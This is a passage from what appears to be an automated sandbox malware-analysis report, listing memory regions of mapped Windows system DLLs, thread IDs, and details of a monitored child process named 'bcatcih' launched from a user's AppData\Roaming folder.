end_va = 0x7ffd48c74fff monitored = 0 entry_point = 0x7ffd48c2fc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 2347 start_va = 0x7ffd48c80000 end_va = 0x7ffd48cadfff monitored = 0 entry_point = 0x7ffd48c87550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 2348 start_va = 0x7ffd48cb0000 end_va = 0x7ffd48cc5fff monitored = 0 entry_point = 0x7ffd48cb1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2349 start_va = 0x7ffd48cd0000 end_va = 0x7ffd48d33fff monitored = 0 entry_point = 0x7ffd48ce5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2350 start_va = 0x7ffd48d80000 end_va = 0x7ffd48e11fff monitored = 0 entry_point = 0x7ffd48dca780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 2351 start_va = 0x7ffd49080000 end_va = 0x7ffd4908ffff monitored = 0 entry_point = 0x7ffd49082c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 2352 start_va = 0x7ffd49090000 end_va = 0x7ffd4909cfff monitored = 0 entry_point = 0x7ffd49092ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 2353 start_va = 0x7ffd490a0000 end_va = 0x7ffd490cefff monitored = 0 entry_point = 0x7ffd490a8910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 2354 start_va = 0x7ffd490d0000 end_va = 0x7ffd4913dfff monitored = 0 entry_point = 0x7ffd490d7f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 2355 start_va = 0x7ffd49140000 end_va = 0x7ffd49150fff monitored = 0 entry_point = 0x7ffd49143320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 2356 start_va = 0x7ffd49160000 end_va = 0x7ffd491a0fff monitored = 0 entry_point = 0x7ffd49177eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 2357 start_va = 0x7ffd491b0000 end_va = 0x7ffd492abfff monitored = 0 entry_point = 0x7ffd491e6df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 2358 start_va = 0x7ffd492b0000 end_va = 0x7ffd4936efff monitored = 0 entry_point = 0x7ffd492d1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2359 start_va = 0x7ffd49370000 end_va = 0x7ffd49398fff monitored = 0 entry_point = 0x7ffd4937ca00 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2360 start_va = 0x7ffd493a0000 end_va = 0x7ffd493d5fff monitored = 0 entry_point = 0x7ffd493b0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2361 start_va = 0x7ffd49c30000 end_va = 0x7ffd49c39fff monitored = 0 entry_point = 0x7ffd49c31660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2362 start_va = 0x7ffd49c40000 end_va = 0x7ffd49c57fff monitored = 0 entry_point = 0x7ffd49c45910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2363 start_va = 0x7ffd49c60000 end_va = 0x7ffd49dacfff monitored = 0 entry_point = 0x7ffd49ca3da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 2364 start_va = 0x7ffd4a3c0000 end_va = 0x7ffd4a3c7fff monitored = 0 entry_point = 0x7ffd4a3c13e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 2365 start_va = 0x7ffd4a880000 end_va = 0x7ffd4a8f8fff monitored = 0 entry_point = 0x7ffd4a89fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 2366 start_va = 0x7ffd4aab0000 end_va = 0x7ffd4af42fff monitored = 0 entry_point = 0x7ffd4aabf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 2367 start_va = 0x7ffd4af50000 end_va = 0x7ffd4afb6fff monitored = 0 entry_point = 0x7ffd4af6e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 2368 start_va = 0x7ffd4b010000 end_va = 0x7ffd4b195fff monitored = 0 entry_point = 0x7ffd4b05d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2369 start_va = 0x7ffd4b1a0000 end_va = 0x7ffd4b1bbfff monitored = 0 entry_point = 0x7ffd4b1a37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 2370 start_va = 0x7ffd4b200000 end_va = 0x7ffd4b212fff monitored = 0 entry_point = 0x7ffd4b202760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2371 start_va = 0x7ffd4b3a0000 end_va = 0x7ffd4b3dffff monitored = 0 entry_point = 0x7ffd4b3b1960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 2372 start_va = 0x7ffd4b470000 end_va = 0x7ffd4b505fff monitored = 0 entry_point = 0x7ffd4b495570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2373 start_va = 0x7ffd4b530000 end_va = 0x7ffd4b556fff monitored = 0 entry_point = 0x7ffd4b537940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2374 start_va = 0x7ffd4b560000 end_va = 0x7ffd4b591fff monitored = 0 entry_point = 0x7ffd4b572340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 2375 start_va = 0x7ffd4b5a0000 end_va = 0x7ffd4b5abfff monitored = 0 entry_point = 0x7ffd4b5a2480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 2376 start_va = 0x7ffd4b670000 end_va = 0x7ffd4b719fff monitored = 0 entry_point = 0x7ffd4b697910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2377 start_va = 0x7ffd4b720000 end_va = 0x7ffd4b81ffff monitored = 0 entry_point = 0x7ffd4b760f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 2378 start_va = 0x7ffd4bae0000 end_va = 0x7ffd4baebfff monitored = 0 entry_point = 0x7ffd4bae2790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 2379 start_va = 0x7ffd4baf0000 end_va = 0x7ffd4bb13fff monitored = 0 entry_point = 0x7ffd4baf3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2380 start_va = 0x7ffd4bc90000 end_va = 0x7ffd4bd83fff monitored = 0 entry_point = 0x7ffd4bc9a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 2381 start_va = 0x7ffd4bde0000 end_va = 0x7ffd4be28fff monitored = 0 entry_point = 0x7ffd4bdea090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 2382 start_va = 0x7ffd4bf00000 end_va = 0x7ffd4bf0bfff monitored = 0 entry_point = 0x7ffd4bf027e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2383 start_va = 0x7ffd4bfe0000 end_va = 0x7ffd4c010fff monitored = 0 entry_point = 0x7ffd4bfe7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2384 start_va = 0x7ffd4c040000 end_va = 0x7ffd4c0b9fff monitored = 0 entry_point = 0x7ffd4c061a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2385 start_va = 0x7ffd4c100000 end_va = 0x7ffd4c133fff monitored = 0 entry_point = 0x7ffd4c11ae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2386 start_va = 0x7ffd4c140000 end_va = 0x7ffd4c149fff monitored = 0 entry_point = 0x7ffd4c141830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 2387 start_va = 0x7ffd4c250000 end_va = 0x7ffd4c26efff monitored = 0 entry_point = 0x7ffd4c255d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2388 start_va = 0x7ffd4c3c0000 end_va = 0x7ffd4c41bfff monitored = 0 entry_point = 0x7ffd4c3d6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2389 start_va = 0x7ffd4c470000 end_va = 0x7ffd4c486fff monitored = 0 entry_point = 0x7ffd4c4779d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2390 start_va = 0x7ffd4c590000 end_va = 0x7ffd4c59afff monitored = 0 entry_point = 0x7ffd4c5919a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2391 start_va = 0x7ffd4c5d0000 end_va = 0x7ffd4c5f0fff monitored = 0 entry_point = 0x7ffd4c5e0250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 2392 start_va = 0x7ffd4c620000 end_va = 0x7ffd4c659fff monitored = 0 entry_point = 0x7ffd4c628d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 2393 start_va = 0x7ffd4c660000 end_va = 0x7ffd4c686fff monitored = 0 entry_point = 0x7ffd4c670aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2394 start_va = 0x7ffd4c770000 end_va = 0x7ffd4c79cfff monitored = 0 entry_point = 0x7ffd4c789d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2395 start_va = 0x7ffd4c900000 end_va = 0x7ffd4c955fff monitored = 0 entry_point = 0x7ffd4c910bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2396 start_va = 0x7ffd4c960000 end_va = 0x7ffd4c978fff monitored = 0 entry_point = 0x7ffd4c965e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 2397 start_va = 0x7ffd4c980000 end_va = 0x7ffd4c9a8fff monitored = 0 entry_point = 0x7ffd4c994530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2398 start_va = 0x7ffd4c9b0000 end_va = 0x7ffd4ca48fff monitored = 0 entry_point = 0x7ffd4c9df4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2399 start_va = 0x7ffd4caf0000 end_va = 0x7ffd4cb03fff monitored = 0 entry_point = 0x7ffd4caf52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2400 start_va = 0x7ffd4cb10000 end_va = 0x7ffd4cb5afff monitored = 0 entry_point = 0x7ffd4cb135f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2401 start_va = 0x7ffd4cb60000 end_va = 0x7ffd4cb6ffff monitored = 0 entry_point = 0x7ffd4cb656e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2402 start_va = 0x7ffd4cb70000 end_va = 0x7ffd4cb7efff monitored = 0 entry_point = 0x7ffd4cb73210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2403 start_va = 0x7ffd4cb80000 end_va = 0x7ffd4cbc2fff monitored = 0 entry_point = 0x7ffd4cb94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2404 start_va = 0x7ffd4cc80000 end_va = 0x7ffd4ccd4fff monitored = 0 entry_point = 0x7ffd4cc97970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2405 start_va = 0x7ffd4cce0000 end_va = 0x7ffd4d323fff monitored = 0 entry_point = 0x7ffd4cea64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 2406 start_va = 0x7ffd4d330000 end_va = 0x7ffd4d346fff monitored = 0 entry_point = 0x7ffd4d331390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2407 start_va = 0x7ffd4d350000 end_va = 0x7ffd4d516fff monitored = 0 entry_point = 0x7ffd4d3adb80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2408 start_va = 0x7ffd4d520000 end_va = 0x7ffd4d5a5fff monitored = 0 entry_point = 0x7ffd4d52d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2409 start_va = 0x7ffd4d5b0000 end_va = 0x7ffd4d664fff monitored = 0 entry_point = 0x7ffd4d5f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2410 start_va = 0x7ffd4d670000 end_va = 0x7ffd4d857fff monitored = 0 entry_point = 0x7ffd4d69ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2411 start_va = 0x7ffd4d860000 end_va = 0x7ffd4d8c9fff monitored = 0 entry_point = 0x7ffd4d896d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2412 start_va = 0x7ffd4d8d0000 end_va = 0x7ffd4da55fff monitored = 0 entry_point = 0x7ffd4d91ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2413 start_va = 0x7ffd4da60000 end_va = 0x7ffd4db7bfff monitored = 0 entry_point = 0x7ffd4daa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2414 start_va = 0x7ffd4db80000 end_va = 0x7ffd4dc40fff monitored = 0 entry_point = 0x7ffd4dba0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2415 start_va = 0x7ffd4dc70000 end_va = 0x7ffd4deecfff monitored = 0 entry_point = 0x7ffd4dd44970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2416 start_va = 0x7ffd4def0000 end_va = 0x7ffd4def7fff monitored = 0 entry_point = 0x7ffd4def1ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2417 start_va = 0x7ffd4df00000 end_va = 0x7ffd4df9cfff monitored = 0 entry_point = 0x7ffd4df078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2418 start_va = 0x7ffd4e160000 end_va = 0x7ffd4e1bafff monitored = 0 entry_point = 0x7ffd4e1738b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2419 start_va = 0x7ffd4e1c0000 end_va = 0x7ffd4e26cfff monitored = 0 entry_point = 0x7ffd4e1d81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2420 start_va = 0x7ffd4e270000 end_va = 0x7ffd4e2dafff monitored = 0 entry_point = 0x7ffd4e2890c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2421 start_va = 0x7ffd4e480000 end_va = 0x7ffd4e526fff monitored = 0 entry_point = 0x7ffd4e4958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2422 start_va = 0x7ffd4e530000 end_va = 0x7ffd4e958fff monitored = 0 entry_point = 0x7ffd4e558740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2423 start_va = 0x7ffd4e970000 end_va = 0x7ffd4e9cbfff monitored = 0 entry_point = 0x7ffd4e98b720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2424 start_va = 0x7ffd4e9d0000 end_va = 0x7ffd4eb25fff monitored = 0 entry_point = 0x7ffd4e9da8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2425 start_va = 0x7ffd4eb30000 end_va = 0x7ffd5008efff monitored = 0 entry_point = 0x7ffd4ec911f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2426 start_va = 0x7ffd500f0000 end_va = 0x7ffd50141fff monitored = 0 entry_point = 0x7ffd500ff530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2427 start_va = 0x7ffd50150000 end_va = 0x7ffd501f6fff monitored = 0 entry_point = 0x7ffd5015b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2428 start_va = 0x7ffd50380000 end_va = 0x7ffd504c2fff monitored = 0 entry_point = 0x7ffd503a8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2429 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2493 start_va = 0x7240000 end_va = 0x7241fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007240000" filename = "" Region: id = 2494 start_va = 0x7250000 end_va = 0x7251fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007250000" filename = "" Region: id = 2495 start_va = 0x7260000 end_va = 0x7261fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007260000" filename = "" Region: id = 4243 start_va = 0xf90000 end_va = 0xfdefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 9597 start_va = 0x7e00000 end_va = 0x7efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e00000" filename = "" Region: id = 9618 start_va = 0x7f00000 end_va = 0x7ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f00000" filename = "" Region: id = 9619 start_va = 0x8000000 end_va = 0x80fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008000000" filename = "" Region: id = 9624 start_va = 0x8100000 end_va = 0x81fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008100000" filename = "" Region: id = 9846 start_va = 0x430000 end_va = 0x431fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 10246 start_va = 0x8200000 end_va = 0x82fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008200000" filename = "" Thread: id = 61 os_tid = 0xd50 Thread: id = 62 os_tid = 0xd00 Thread: id = 63 os_tid = 0x710 Thread: id = 64 os_tid = 0xaa0 Thread: id = 65 os_tid = 0xc54 Thread: id = 66 os_tid = 0x11d8 Thread: id = 67 os_tid = 0xd1c Thread: id = 68 os_tid = 0xdf0 Thread: id = 69 os_tid = 0x900 Thread: id = 70 os_tid = 0x660 Thread: id = 71 os_tid = 0xd38 Thread: id = 72 os_tid = 0xb7c Thread: id = 73 os_tid = 0xd24 Thread: id = 74 os_tid = 0x608 Thread: id = 75 os_tid = 0x948 Thread: id = 76 os_tid = 0x43c Thread: id = 77 os_tid = 0xb44 Thread: id = 78 os_tid = 0xb4c Thread: id = 79 os_tid = 0xd14 Thread: id = 80 os_tid = 0x8ac Thread: id = 81 os_tid = 0xcd8 Thread: id = 82 os_tid = 0xcb4 Thread: id = 83 os_tid = 0x928 Thread: id = 84 os_tid = 0xa58 Thread: id = 85 os_tid = 0xa54 Thread: id = 86 os_tid = 0x514 Thread: id = 87 os_tid = 0x994 Thread: id = 88 os_tid = 0x9a0 Thread: id = 89 os_tid = 0xc30 Thread: id = 90 os_tid = 0xc2c Thread: id = 91 os_tid = 0x8fc Thread: id = 92 os_tid = 0x8ec Thread: id = 93 os_tid = 0xff8 Thread: id = 94 os_tid = 0xfb0 Thread: id = 95 os_tid = 0xfac Thread: id = 96 os_tid = 0xfa4 Thread: id = 97 os_tid = 0xf9c Thread: id = 98 os_tid = 0xf8c Thread: id = 99 os_tid = 0xf5c Thread: id = 100 os_tid = 0xf4c Thread: id = 101 os_tid = 0xe24 Thread: id = 102 os_tid = 0xc28 Thread: id = 103 os_tid = 0xa04 Thread: id = 104 os_tid = 0xa84 Thread: id = 105 os_tid = 0xa80 Thread: id = 106 os_tid = 0xa7c Thread: id = 107 os_tid = 0x9c8 Thread: id = 108 os_tid = 0x9b8 Thread: id = 109 os_tid = 0x94c Thread: id = 110 os_tid = 0x8e4 Thread: id = 111 os_tid = 0x8e0 Thread: id = 112 os_tid = 0x8d8 Thread: id = 113 os_tid = 0x8c0 Thread: id = 114 os_tid = 0x8a8 Thread: id = 115 os_tid = 0x8a0 Thread: id = 116 os_tid = 0x898 Thread: id = 117 os_tid = 0x878 Thread: id = 118 os_tid = 0x868 Thread: id = 119 os_tid = 0x830 Thread: id = 120 os_tid = 0x560 Thread: id = 121 os_tid = 0x598 Thread: id = 122 os_tid = 0x190 Thread: id = 123 os_tid = 0x7cc Thread: id = 124 os_tid = 0x7c0 Thread: id = 125 os_tid = 0x7ac Thread: id = 126 os_tid = 0x790 Thread: id = 127 os_tid = 0x6e0 Thread: id = 128 os_tid = 0x448 Thread: id = 129 os_tid = 0x5b4 Thread: id = 130 os_tid = 0x50c Thread: id = 131 os_tid = 0x4d4 Thread: id = 132 os_tid = 0x484 Thread: id = 133 os_tid = 0x464 Thread: id = 134 os_tid = 0x414 Thread: id = 135 os_tid = 0x2f4 Thread: id = 136 os_tid = 0x284 Thread: id = 137 os_tid = 0x264 Thread: id = 138 os_tid = 0x210 Thread: id = 139 os_tid = 0x144 Thread: id = 140 os_tid = 0x140 Thread: id = 141 os_tid = 0x120 Thread: id = 142 os_tid = 0x11c Thread: id = 143 os_tid = 0x60 Thread: id = 144 os_tid = 0x3fc Thread: id = 145 os_tid = 0x3f4 Thread: id = 146 os_tid = 0x360 Thread: id = 166 os_tid = 0x1318 Thread: id = 167 os_tid = 0x66c Thread: id = 168 os_tid = 0x13bc Thread: id = 169 os_tid = 0x39c Thread: id = 171 os_tid = 0x12ac Process: id = "5" image_name = "bcatcih" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih" page_root = "0x7067d000" os_pid = "0x934" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x35c" cmd_line = "C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2705 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2706 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2707 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2708 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2709 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 